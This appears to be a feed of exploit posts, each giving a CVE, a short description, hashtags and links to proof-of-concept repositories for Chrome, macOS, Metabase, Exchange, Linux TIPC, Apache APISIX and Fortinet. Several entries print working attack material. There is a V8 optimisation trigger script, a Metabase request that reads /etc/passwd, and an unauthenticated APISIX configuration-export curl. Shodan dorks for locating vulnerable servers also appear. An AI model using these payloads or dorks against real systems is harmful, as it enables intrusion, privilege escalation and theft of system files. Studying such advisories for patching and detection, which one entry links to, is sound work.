https://github.com/dmaasland/proxyshell-poc

#poc #proxyshell

CVE-2021-30632 — Chrome 0day

var a;
function foo() {
    a = new Uint32Array(100);
}
%PrepareFunctionForOptimization(foo);
foo();
foo();
a["xxx"] =1;
delete a["xxx"];
%OptimizeFunctionOnNextCall(foo);
foo();

#Chrome #0day #PoC

MacOS — CVE-2021-30657 (POC)

A vulnerability in syspolicyd allows specially crafted application bundle downloaded from internet to
bypass foundational macOS security features such as File Quarantine, Gatekeeper, and Notarization.
Armed with this capability attackers could hack macOS systems with a simple user (double)-click.

https://github.com/shubham0d/CVE-2021-30657

#macos #poc #cve #syspolicyd

CVE-2021-41277 MetaBase Arbitrary File Read

PoC:
GET /api/geojson?url=file:/etc/passwd HTTP/1.1

#metabase #cve #poc

Microsoft Exchange Server RCE (PoC)

This PoC just pop mspaint.exe on the target, can be use to recognize the signature pattern of a successful attack event

https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398

#exchange #rce #poc

CVE-2021-43267 — Linux TIPC (PoC)

An article on how to escalate privileges via the slab-buffer-overflow in the Transparent Inter-Process Communication (TIPC) module.

Reference:
https://haxx.in/posts/pwning-tipc/

PoC:
https://github.com/ohnonoyesyes/CVE-2021-43267

#poc #cve #linux #lpe

Apache APISIX Dashboard — Unauthorized RCE (CVE-2021-45232)

Attackers can access certain interfaces without logging in to Apache APISIX Dashboard, thus making unauthorized changes or obtaining relevant configuration information such as Apache APISIX Route, Upstream, Service, etc., and cause problems such as SSRF, malicious traffic proxies built by attackers, and arbitrary code execution.

Shodan Dorks:

title:"Apache APISIX Dashboard"

PoC:

curl http://IP:9000/apisix/admin/migrate/export

https://apisix.apache.org/blog/2021/12/28/dashboard-cve-2021-45232/

#apache #apisix #cve #poc

😈 Fortinet RCE (CVE-2022-40684)

Fortinet recently patched a critical authentication bypass vulnerability in their FortiOS, FortiProxy, and FortiSwitchManager projects (CVE-2022-40684). This vulnerability gives an attacker the ability to login as an administrator on the affected system.

Shodan Dork:
product:"Fortinet FortiGate"

Research:
https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

PoC:
https://github.com/horizon3ai/CVE-2022-40684

Detection for SOC:
https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/

#fortinet #rce #research #poc #exploit

😈 Microsoft Exchange: OWASSRF + TabShell
(CVE-2022-41076)

The TabShell vulnerability its a form of Privilege Escalation which allows breaking out of the restricted Powershell Sandbox after you have successfully gained access through OWASSRF.

For a detailed write see research:
https://blog.viettelcybersecurity.com/tabshell-owassrf/

PoC:
https://gist.github.com/testanull/518871a2e2057caa2bc9c6ae6634103e

#owa #ssrf #tabshell #poc